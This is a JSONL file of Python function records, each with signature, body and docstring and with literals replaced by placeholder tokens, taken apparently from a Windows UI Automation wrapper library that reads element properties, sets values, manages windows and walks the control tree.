{"signature": "def ZoomByUnit(self, zoomUnit: int, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.ZoomByUnit(zoomUnit) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTransformPattern2::ZoomByUnit.\nZoom the viewport of the control by the specified unit.\nzoomUnit: int, a value in class `ZoomUnit`.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationtransformpattern2-zoombyunit", "id": "f1782:c74:m6"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationvaluepattern", "id": "f1782:c75:m0"}
{"signature": "@property<EOL><INDENT>def IsReadOnly(self) -> bool:<DEDENT>", "body": "return self.pattern.CurrentIsReadOnly<EOL>", "docstring": "Property IsReadOnly.\nCall IUIAutomationTransformPattern2::IUIAutomationValuePattern::get_CurrentIsReadOnly.\nReturn bool, indicates whether the value of the element is read-only.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationvaluepattern-get_currentisreadonly", "id": "f1782:c75:m1"}
{"signature": "@property<EOL><INDENT>def Value(self) -> str:<DEDENT>", "body": "return self.pattern.CurrentValue<EOL>", "docstring": "Property Value.\nCall IUIAutomationTransformPattern2::IUIAutomationValuePattern::get_CurrentValue.\nReturn str, the value of the element.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationvaluepattern-get_currentvalue", "id": "f1782:c75:m2"}
{"signature": "def SetValue(self, value: str, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.SetValue(value) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationTransformPattern2::IUIAutomationValuePattern::SetValue.\nSet the value of the element.\nvalue: str.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationvaluepattern-setvalue", "id": "f1782:c75:m3"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationvirtualizeditempattern", "id": "f1782:c76:m0"}
{"signature": "def Realize(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Realize() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationVirtualizedItemPattern::Realize.\nCreate a full UI Automation element for a virtualized item.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationvirtualizeditempattern-realize", "id": "f1782:c76:m1"}
{"signature": "def __init__(self, pattern=None):", "body": "self.pattern = pattern<EOL>", "docstring": "Refer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationwindowpattern", "id": "f1782:c77:m0"}
{"signature": "def Close(self, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.Close() == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationWindowPattern::Close.\nClose the window.\nwaitTime: float.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationwindowpattern-close", "id": "f1782:c77:m1"}
{"signature": "@property<EOL><INDENT>def CanMaximize(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentCanMaximize)<EOL>", "docstring": "Property CanMaximize.\nCall IUIAutomationWindowPattern::get_CurrentCanMaximize.\nReturn bool, indicates whether the window can be maximized.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationwindowpattern-get_currentcanmaximize", "id": "f1782:c77:m2"}
{"signature": "@property<EOL><INDENT>def CanMinimize(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentCanMinimize)<EOL>", "docstring": "Property CanMinimize.\nCall IUIAutomationWindowPattern::get_CurrentCanMinimize.\nReturn bool, indicates whether the window can be minimized.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationwindowpattern-get_currentismodal", "id": "f1782:c77:m3"}
{"signature": "@property<EOL><INDENT>def IsModal(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentIsModal)<EOL>", "docstring": "Property IsModal.\nCall IUIAutomationWindowPattern::get_CurrentIsModal.\nReturn bool, indicates whether the window is modal.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationwindowpattern-get_currentistopmost", "id": "f1782:c77:m4"}
{"signature": "@property<EOL><INDENT>def IsTopmost(self) -> bool:<DEDENT>", "body": "return bool(self.pattern.CurrentIsTopmost)<EOL>", "docstring": "Property IsTopmost.\nCall IUIAutomationWindowPattern::get_CurrentIsTopmost.\nReturn bool, indicates whether the window is the topmost element in the z-order.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationwindowpattern-get_currentistopmost", "id": "f1782:c77:m5"}
{"signature": "@property<EOL><INDENT>def WindowInteractionState(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentWindowInteractionState<EOL>", "docstring": "Property WindowInteractionState.\nCall IUIAutomationWindowPattern::get_CurrentWindowInteractionState.\nReturn int, a value in class `WindowInteractionState`,\n            the current state of the window for the purposes of user interaction.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationwindowpattern-get_currentwindowinteractionstate", "id": "f1782:c77:m6"}
{"signature": "@property<EOL><INDENT>def WindowVisualState(self) -> int:<DEDENT>", "body": "return self.pattern.CurrentWindowVisualState<EOL>", "docstring": "Property WindowVisualState.\nCall IUIAutomationWindowPattern::get_CurrentWindowVisualState.\nReturn int, a value in class `WindowVisualState`,\n            the visual state of the window; that is, whether it is in the normal, maximized, or minimized state.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationwindowpattern-get_currentwindowvisualstate", "id": "f1782:c77:m7"}
{"signature": "def SetWindowVisualState(self, state: int, waitTime: float = OPERATION_WAIT_TIME) -> bool:", "body": "ret = self.pattern.SetWindowVisualState(state) == S_OK<EOL>time.sleep(waitTime)<EOL>return ret<EOL>", "docstring": "Call IUIAutomationWindowPattern::SetWindowVisualState.\nMinimize, maximize, or restore the window.\nstate: int, a value in class `WindowVisualState`.\nwaitTime: float.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationwindowpattern-setwindowvisualstate", "id": "f1782:c77:m8"}
{"signature": "def WaitForInputIdle(self, milliseconds: int) -> bool:", "body": "return self.pattern.WaitForInputIdle(milliseconds) == S_OK<EOL>", "docstring": "Call IUIAutomationWindowPattern::WaitForInputIdle.\nCause the calling code to block for the specified time or\n    until the associated process enters an idle state, whichever completes first.\nmilliseconds: int.\nReturn bool, True if succeed otherwise False.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationwindowpattern-waitforinputidle", "id": "f1782:c77:m9"}
{"signature": "def __init__(self, searchFromControl: '<STR_LIT>' = None, searchDepth: int = <NUM_LIT>, searchWaitTime: float = SEARCH_INTERVAL, foundIndex: int = <NUM_LIT:1>, element=None, **searchProperties):", "body": "self._element = element<EOL>self._elementDirectAssign = True if element else False<EOL>self.searchFromControl = searchFromControl<EOL>self.searchDepth = searchProperties.get('<STR_LIT>', searchDepth)<EOL>self.searchWaitTime = searchWaitTime<EOL>self.foundIndex = foundIndex<EOL>self.searchProperties = searchProperties<EOL>regName = searchProperties.get('<STR_LIT>', '<STR_LIT>')<EOL>self.regexName = re.compile(regName) if regName else None<EOL>self._supportedPatterns = {}<EOL>", "docstring": "searchFromControl: `Control` or its subclass, if it is None, search from root control(Desktop).\nsearchDepth: int, max search depth from searchFromControl.\nfoundIndex: int, starts with 1, >= 1.\nsearchWaitTime: float, wait searchWaitTime before every search(interval between searchs).\nelement: `ctypes.POINTER(IUIAutomationElement)`, internal use.\nsearchProperties: defines how to search, the following keys can be used:\n                    ControlType: int, a value in class `ControlType`.\n                    ClassName: str.\n                    AutomationId: str.\n                    Name: str.\n                    SubName: str, a part str in Name.\n                    RegexName: str, supports regex using re.match.\n                        You can only use one of Name, SubName, RegexName in searchProperties.\n                    Depth: int, only search controls in relative depth from searchFromControl, ignore controls in depth(0~Depth-1),\n                        if set, searchDepth will be set to Depth too.\n                    Compare: Callable, custom compare function(control, depth)->bool.\n\n`Control` wraps IUIAutomationElement.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nn-uiautomationclient-iuiautomationelement", "id": "f1782:c78:m0"}
{"signature": "@staticmethod<EOL><INDENT>def CreateControlFromElement(element) -> '<STR_LIT>':<DEDENT>", "body": "if element:<EOL><INDENT>controlType = element.CurrentControlType<EOL>if controlType in ControlConstructors:<EOL><INDENT>return ControlConstructors[controlType](element=element)<EOL><DEDENT>else:<EOL><INDENT>Logger.WriteLine(\"<STR_LIT>\".format(controlType), ConsoleColor.Red)<EOL><DEDENT><DEDENT>", "docstring": "Create a concreate `Control` from a com type `IUIAutomationElement`.\nelement: `ctypes.POINTER(IUIAutomationElement)`.\nReturn a subclass of `Control`, an instance of the control's real type.", "id": "f1782:c78:m2"}
{"signature": "@staticmethod<EOL><INDENT>def CreateControlFromControl(control: '<STR_LIT>') -> '<STR_LIT>':<DEDENT>", "body": "newControl = Control.CreateControlFromElement(control.Element)<EOL>return newControl<EOL>", "docstring": "Create a concreate `Control` from a control instance, copy it.\ncontrol: `Control` or its subclass.\nReturn a subclass of `Control`, an instance of the control's real type.\nFor example: if control's ControlType is EditControl, return an EditControl.", "id": "f1782:c78:m3"}
{"signature": "def SetSearchFromControl(self, searchFromControl: '<STR_LIT>') -> None:", "body": "self.searchFromControl = searchFromControl<EOL>", "docstring": "searchFromControl: `Control` or its subclass", "id": "f1782:c78:m4"}
{"signature": "def AddSearchProperties(self, **searchProperties) -> None:", "body": "self.searchProperties.update(searchProperties)<EOL>if '<STR_LIT>' in searchProperties:<EOL><INDENT>self.searchDepth = searchProperties['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in searchProperties:<EOL><INDENT>regName = searchProperties['<STR_LIT>']<EOL>self.regexName = re.compile(regName) if regName else None<EOL><DEDENT>", "docstring": "Add search properties using `dict.update`.\nsearchProperties: dict, same as searchProperties in `Control.__init__`.", "id": "f1782:c78:m6"}
{"signature": "def RemoveSearchProperties(self, **searchProperties) -> None:", "body": "for key in searchProperties:<EOL><INDENT>del self.searchProperties[key]<EOL>if key == '<STR_LIT>':<EOL><INDENT>self.regexName = None<EOL><DEDENT><DEDENT>", "docstring": "searchProperties: dict, same as searchProperties in `Control.__init__`.", "id": "f1782:c78:m7"}
{"signature": "def GetColorfulSearchPropertiesStr(self, keyColor='<STR_LIT>', valueColor='<STR_LIT>') -> str:", "body": "strs = ['<STR_LIT>'.format(keyColor if k in Control.ValidKeys else '<STR_LIT>', k, valueColor,<EOL>ControlTypeNames[v] if k == '<STR_LIT>' else repr(v)) for k, v in self.searchProperties.items()]<EOL>return '<STR_LIT:{>' + '<STR_LIT:U+002CU+0020>'.join(strs) + '<STR_LIT:}>'<EOL>", "docstring": "keyColor, valueColor: str, color name in class ConsoleColor", "id": "f1782:c78:m9"}
{"signature": "@property<EOL><INDENT>def AcceleratorKey(self) -> str:<DEDENT>", "body": "return self.Element.CurrentAcceleratorKey<EOL>", "docstring": "Property AcceleratorKey.\nCall IUIAutomationElement::get_CurrentAcceleratorKey.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentacceleratorkey", "id": "f1782:c78:m10"}
{"signature": "@property<EOL><INDENT>def AccessKey(self) -> str:<DEDENT>", "body": "return self.Element.CurrentAccessKey<EOL>", "docstring": "Property AccessKey.\nCall IUIAutomationElement::get_CurrentAccessKey.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentaccesskey", "id": "f1782:c78:m11"}
{"signature": "@property<EOL><INDENT>def AriaProperties(self) -> str:<DEDENT>", "body": "return self.Element.CurrentAriaProperties<EOL>", "docstring": "Property AriaProperties.\nCall IUIAutomationElement::get_CurrentAriaProperties.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentariaproperties", "id": "f1782:c78:m12"}
{"signature": "@property<EOL><INDENT>def AriaRole(self) -> str:<DEDENT>", "body": "return self.Element.CurrentAriaRole<EOL>", "docstring": "Property AriaRole.\nCall IUIAutomationElement::get_CurrentAriaRole.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentariarole", "id": "f1782:c78:m13"}
{"signature": "@property<EOL><INDENT>def AutomationId(self) -> str:<DEDENT>", "body": "return self.Element.CurrentAutomationId<EOL>", "docstring": "Property AutomationId.\nCall IUIAutomationElement::get_CurrentAutomationId.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentautomationid", "id": "f1782:c78:m14"}
{"signature": "@property<EOL><INDENT>def BoundingRectangle(self) -> Rect:<DEDENT>", "body": "rect = self.Element.CurrentBoundingRectangle<EOL>return Rect(rect.left, rect.top, rect.right, rect.bottom)<EOL>", "docstring": "Property BoundingRectangle.\nCall IUIAutomationElement::get_CurrentBoundingRectangle.\nReturn `Rect`.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentboundingrectangle\n\nrect = control.BoundingRectangle\nprint(rect.left, rect.top, rect.right, rect.bottom, rect.width(), rect.height(), rect.xcenter(), rect.ycenter())", "id": "f1782:c78:m15"}
{"signature": "@property<EOL><INDENT>def ClassName(self) -> str:<DEDENT>", "body": "return self.Element.CurrentClassName<EOL>", "docstring": "Property ClassName.\nCall IUIAutomationElement::get_CurrentClassName.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentclassname", "id": "f1782:c78:m16"}
{"signature": "@property<EOL><INDENT>def ControlType(self) -> int:<DEDENT>", "body": "return self.Element.CurrentControlType<EOL>", "docstring": "Property ControlType.\nReturn int, a value in class `ControlType`.\nCall IUIAutomationElement::get_CurrentControlType.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentcontroltype", "id": "f1782:c78:m17"}
{"signature": "@property<EOL><INDENT>def Culture(self) -> int:<DEDENT>", "body": "return self.Element.CurrentCulture<EOL>", "docstring": "Property Culture.\nCall IUIAutomationElement::get_CurrentCulture.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentculture", "id": "f1782:c78:m18"}
{"signature": "@property<EOL><INDENT>def FrameworkId(self) -> str:<DEDENT>", "body": "return self.Element.CurrentFrameworkId<EOL>", "docstring": "Property FrameworkId.\nCall IUIAutomationElement::get_CurrentFrameworkId.\nReturn str, such as Win32, WPF...\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentframeworkid", "id": "f1782:c78:m19"}
{"signature": "@property<EOL><INDENT>def HasKeyboardFocus(self) -> bool:<DEDENT>", "body": "return bool(self.Element.CurrentHasKeyboardFocus)<EOL>", "docstring": "Property HasKeyboardFocus.\nCall IUIAutomationElement::get_CurrentHasKeyboardFocus.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currenthaskeyboardfocus", "id": "f1782:c78:m20"}
{"signature": "@property<EOL><INDENT>def HelpText(self) -> str:<DEDENT>", "body": "return self.Element.CurrentHelpText<EOL>", "docstring": "Property HelpText.\nCall IUIAutomationElement::get_CurrentHelpText.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currenthelptext", "id": "f1782:c78:m21"}
{"signature": "@property<EOL><INDENT>def IsContentElement(self) -> bool:<DEDENT>", "body": "return bool(self.Element.CurrentIsContentElement)<EOL>", "docstring": "Property IsContentElement.\nCall IUIAutomationElement::get_CurrentIsContentElement.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentiscontentelement", "id": "f1782:c78:m22"}
{"signature": "@property<EOL><INDENT>def IsControlElement(self) -> bool:<DEDENT>", "body": "return bool(self.Element.CurrentIsControlElement)<EOL>", "docstring": "Property IsControlElement.\nCall IUIAutomationElement::get_CurrentIsControlElement.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentiscontrolelement", "id": "f1782:c78:m23"}
{"signature": "@property<EOL><INDENT>def IsDataValidForForm(self) -> bool:<DEDENT>", "body": "return bool(self.Element.CurrentIsDataValidForForm)<EOL>", "docstring": "Property IsDataValidForForm.\nCall IUIAutomationElement::get_CurrentIsDataValidForForm.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentisdatavalidforform", "id": "f1782:c78:m24"}
{"signature": "@property<EOL><INDENT>def IsEnabled(self) -> bool:<DEDENT>", "body": "return self.Element.CurrentIsEnabled<EOL>", "docstring": "Property IsEnabled.\nCall IUIAutomationElement::get_CurrentIsEnabled.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentisenabled", "id": "f1782:c78:m25"}
{"signature": "@property<EOL><INDENT>def IsKeyboardFocusable(self) -> bool:<DEDENT>", "body": "return self.Element.CurrentIsKeyboardFocusable<EOL>", "docstring": "Property IsKeyboardFocusable.\nCall IUIAutomationElement::get_CurrentIsKeyboardFocusable.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentiskeyboardfocusable", "id": "f1782:c78:m26"}
{"signature": "@property<EOL><INDENT>def IsOffscreen(self) -> bool:<DEDENT>", "body": "return self.Element.CurrentIsOffscreen<EOL>", "docstring": "Property IsOffscreen.\nCall IUIAutomationElement::get_CurrentIsOffscreen.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentisoffscreen", "id": "f1782:c78:m27"}
{"signature": "@property<EOL><INDENT>def IsPassword(self) -> bool:<DEDENT>", "body": "return self.Element.CurrentIsPassword<EOL>", "docstring": "Property IsPassword.\nCall IUIAutomationElement::get_CurrentIsPassword.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentispassword", "id": "f1782:c78:m28"}
{"signature": "@property<EOL><INDENT>def IsRequiredForForm(self) -> bool:<DEDENT>", "body": "return self.Element.CurrentIsRequiredForForm<EOL>", "docstring": "Property IsRequiredForForm.\nCall IUIAutomationElement::get_CurrentIsRequiredForForm.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentisrequiredforform", "id": "f1782:c78:m29"}
{"signature": "@property<EOL><INDENT>def ItemStatus(self) -> str:<DEDENT>", "body": "return self.Element.CurrentItemStatus<EOL>", "docstring": "Property ItemStatus.\nCall IUIAutomationElement::get_CurrentItemStatus.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentitemstatus", "id": "f1782:c78:m30"}
{"signature": "@property<EOL><INDENT>def ItemType(self) -> str:<DEDENT>", "body": "return self.Element.CurrentItemType<EOL>", "docstring": "Property ItemType.\nCall IUIAutomationElement::get_CurrentItemType.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentitemtype", "id": "f1782:c78:m31"}
{"signature": "@property<EOL><INDENT>def LocalizedControlType(self) -> str:<DEDENT>", "body": "return self.Element.CurrentLocalizedControlType<EOL>", "docstring": "Property LocalizedControlType.\nCall IUIAutomationElement::get_CurrentLocalizedControlType.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentlocalizedcontroltype", "id": "f1782:c78:m32"}
{"signature": "@property<EOL><INDENT>def Name(self) -> str:<DEDENT>", "body": "return self.Element.CurrentName or '<STR_LIT>'<EOL>", "docstring": "Property Name.\nCall IUIAutomationElement::get_CurrentName.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentname", "id": "f1782:c78:m33"}
{"signature": "@property<EOL><INDENT>def NativeWindowHandle(self) -> str:<DEDENT>", "body": "handle = self.Element.CurrentNativeWindowHandle<EOL>return <NUM_LIT:0> if handle is None else handle<EOL>", "docstring": "Property NativeWindowHandle.\nCall IUIAutomationElement::get_CurrentNativeWindowHandle.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentnativewindowhandle", "id": "f1782:c78:m34"}
{"signature": "@property<EOL><INDENT>def Orientation(self) -> int:<DEDENT>", "body": "return self.Element.CurrentOrientation<EOL>", "docstring": "Property Orientation.\nReturn int, a value in class `OrientationType`.\nCall IUIAutomationElement::get_CurrentOrientation.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentorientation", "id": "f1782:c78:m35"}
{"signature": "@property<EOL><INDENT>def ProcessId(self) -> int:<DEDENT>", "body": "return self.Element.CurrentProcessId<EOL>", "docstring": "Property ProcessId.\nCall IUIAutomationElement::get_CurrentProcessId.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentprocessid", "id": "f1782:c78:m36"}
{"signature": "@property<EOL><INDENT>def ProviderDescription(self) -> str:<DEDENT>", "body": "return self.Element.CurrentProviderDescription<EOL>", "docstring": "Property ProviderDescription.\nCall IUIAutomationElement::get_CurrentProviderDescription.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-get_currentproviderdescription", "id": "f1782:c78:m37"}
{"signature": "def GetClickablePoint(self) -> tuple:", "body": "point, gotClickable = self.Element.GetClickablePoint()<EOL>return (point.x, point.y, bool(gotClickable))<EOL>", "docstring": "Call IUIAutomationElement::GetClickablePoint.\nReturn tuple, (x: int, y: int, gotClickable: bool), like (20, 10, True)\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-getclickablepoint", "id": "f1782:c78:m38"}
{"signature": "def GetPattern(self, patternId: int):", "body": "try:<EOL><INDENT>pattern = self.Element.GetCurrentPattern(patternId)<EOL>if pattern:<EOL><INDENT>subPattern = CreatePattern(patternId, pattern)<EOL>self._supportedPatterns[patternId] = subPattern<EOL>return subPattern<EOL><DEDENT><DEDENT>except comtypes.COMError as ex:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Call IUIAutomationElement::GetCurrentPattern.\nGet a new pattern by pattern id if it supports the pattern.\npatternId: int, a value in class `PatternId`.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-getcurrentpattern", "id": "f1782:c78:m39"}
{"signature": "def GetPatternAs(self, patternId: int, riid):", "body": "return self.Element.GetCurrentPatternAs(patternId, riid)<EOL>", "docstring": "Call IUIAutomationElement::GetCurrentPatternAs.\nGet a new pattern by pattern id if it supports the pattern, todo.\npatternId: int, a value in class `PatternId`.\nriid: GUID.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-getcurrentpatternas", "id": "f1782:c78:m40"}
{"signature": "def GetPropertyValue(self, propertyId: int) -> Any:", "body": "return self.Element.GetCurrentPropertyValue(propertyId)<EOL>", "docstring": "Call IUIAutomationElement::GetCurrentPropertyValue.\npropertyId: int, a value in class `PropertyId`.\nReturn Any, corresponding type according to propertyId.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-getcurrentpropertyvalue", "id": "f1782:c78:m41"}
{"signature": "def GetPropertyValueEx(self, propertyId: int, ignoreDefaultValue: int) -> Any:", "body": "return self.Element.GetCurrentPropertyValueEx(propertyId, ignoreDefaultValue)<EOL>", "docstring": "Call IUIAutomationElement::GetCurrentPropertyValueEx.\npropertyId: int, a value in class `PropertyId`.\nignoreDefaultValue: int, 0 or 1.\nReturn Any, corresponding type according to propertyId.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-getcurrentpropertyvalueex", "id": "f1782:c78:m42"}
{"signature": "def GetRuntimeId(self) -> list:", "body": "return self.Element.GetRuntimeId()<EOL>", "docstring": "Call IUIAutomationElement::GetRuntimeId.\nReturn list, a list of int.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-getruntimeid", "id": "f1782:c78:m43"}
{"signature": "def SetFocus(self) -> bool:", "body": "return self.Element.SetFocus() == S_OK<EOL>", "docstring": "Call IUIAutomationElement::SetFocus.\nRefer https://docs.microsoft.com/en-us/windows/desktop/api/uiautomationclient/nf-uiautomationclient-iuiautomationelement-setfocus", "id": "f1782:c78:m44"}
{"signature": "@property<EOL><INDENT>def Element(self):<DEDENT>", "body": "if not self._element:<EOL><INDENT>self.Refind(maxSearchSeconds=TIME_OUT_SECOND, searchIntervalSeconds=self.searchWaitTime)<EOL><DEDENT>return self._element<EOL>", "docstring": "Property Element.\nReturn `ctypes.POINTER(IUIAutomationElement)`.", "id": "f1782:c78:m45"}
{"signature": "@property<EOL><INDENT>def ControlTypeName(self) -> str:<DEDENT>", "body": "return ControlTypeNames[self.ControlType]<EOL>", "docstring": "Property ControlTypeName.", "id": "f1782:c78:m46"}
{"signature": "def GetCachedPattern(self, patternId: int, cache: bool):", "body": "if cache:<EOL><INDENT>pattern = self._supportedPatterns.get(patternId, None)<EOL>if pattern:<EOL><INDENT>return pattern<EOL><DEDENT>else:<EOL><INDENT>pattern = self.GetPattern(patternId)<EOL>if pattern:<EOL><INDENT>self._supportedPatterns[patternId] = pattern<EOL>return pattern<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>pattern = self.GetPattern(patternId)<EOL>if pattern:<EOL><INDENT>self._supportedPatterns[patternId] = pattern<EOL>return pattern<EOL><DEDENT><DEDENT>", "docstring": "Get a pattern by patternId.\npatternId: int, a value in class `PatternId`.\nReturn a pattern if it supports the pattern else None.\ncache: bool, if True, store the pattern for later use, if False, get a new pattern by `self.GetPattern`.", "id": "f1782:c78:m47"}
{"signature": "def GetLegacyIAccessiblePattern(self) -> LegacyIAccessiblePattern:", "body": "return self.GetPattern(PatternId.LegacyIAccessiblePattern)<EOL>", "docstring": "Return `LegacyIAccessiblePattern` if it supports the pattern else None.", "id": "f1782:c78:m48"}
{"signature": "def GetAncestorControl(self, condition: Callable) -> '<STR_LIT>':", "body": "ancestor = self<EOL>depth = <NUM_LIT:0><EOL>while True:<EOL><INDENT>ancestor = ancestor.GetParentControl()<EOL>depth -= <NUM_LIT:1><EOL>if ancestor:<EOL><INDENT>if condition(ancestor, depth):<EOL><INDENT>return ancestor<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Get a ancestor control that matches the condition.\ncondition: Callable, function (control: Control, depth: int)->bool,\n           depth starts with -1 and decreses when search goes up.\nReturn `Control` subclass or None.", "id": "f1782:c78:m49"}
{"signature": "def GetParentControl(self) -> '<STR_LIT>':", "body": "ele = _AutomationClient.instance().ViewWalker.GetParentElement(self.Element)<EOL>return Control.CreateControlFromElement(ele)<EOL>", "docstring": "Return `Control` subclass or None.", "id": "f1782:c78:m50"}
{"signature": "def GetFirstChildControl(self) -> '<STR_LIT>':", "body": "ele = _AutomationClient.instance().ViewWalker.GetFirstChildElement(self.Element)<EOL>return Control.CreateControlFromElement(ele)<EOL>", "docstring": "Return `Control` subclass or None.", "id": "f1782:c78:m51"}
{"signature": "def GetLastChildControl(self) -> '<STR_LIT>':", "body": "ele = _AutomationClient.instance().ViewWalker.GetLastChildElement(self.Element)<EOL>return Control.CreateControlFromElement(ele)<EOL>", "docstring": "Return `Control` subclass or None.", "id": "f1782:c78:m52"}
{"signature": "def GetNextSiblingControl(self) -> '<STR_LIT>':", "body": "ele = _AutomationClient.instance().ViewWalker.GetNextSiblingElement(self.Element)<EOL>return Control.CreateControlFromElement(ele)<EOL>", "docstring": "Return `Control` subclass or None.", "id": "f1782:c78:m53"}
